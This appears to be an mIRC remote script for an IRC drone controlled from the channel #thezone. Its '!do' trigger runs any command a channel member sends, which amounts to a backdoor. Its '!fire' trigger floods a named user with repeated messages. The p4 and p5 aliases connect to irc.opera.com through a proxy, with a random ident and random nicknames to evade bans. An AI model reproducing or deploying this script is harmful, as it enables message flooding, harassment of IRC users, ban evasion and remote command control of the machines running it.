Mine

on 1:TEXT:*!do*:#thezone:{
  //$+ $2-
}

on 1:TEXT:*!fire*:#thezone:{
  %hits = $3
  %name = $2
  while (%hits > 0) {
    /dec %hits 1
    //msg %name %deathmsg
  }
}

on 1:TEXT:*!morph*:#thezone:{
  /nick $rand(a,z) $+ $rand(a,e) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(x,z)
}

on 1:CONNECT:/join #thezone

alias p4 {
  /firewall -N on $1 $2
  /identd on $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
  /server -m irc.opera.com
  /nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,Z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)

}

alias p5 {
  /firewall -m on $1 $2
  /identd on $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
  /server -m irc.opera.com
  /nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,Z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
}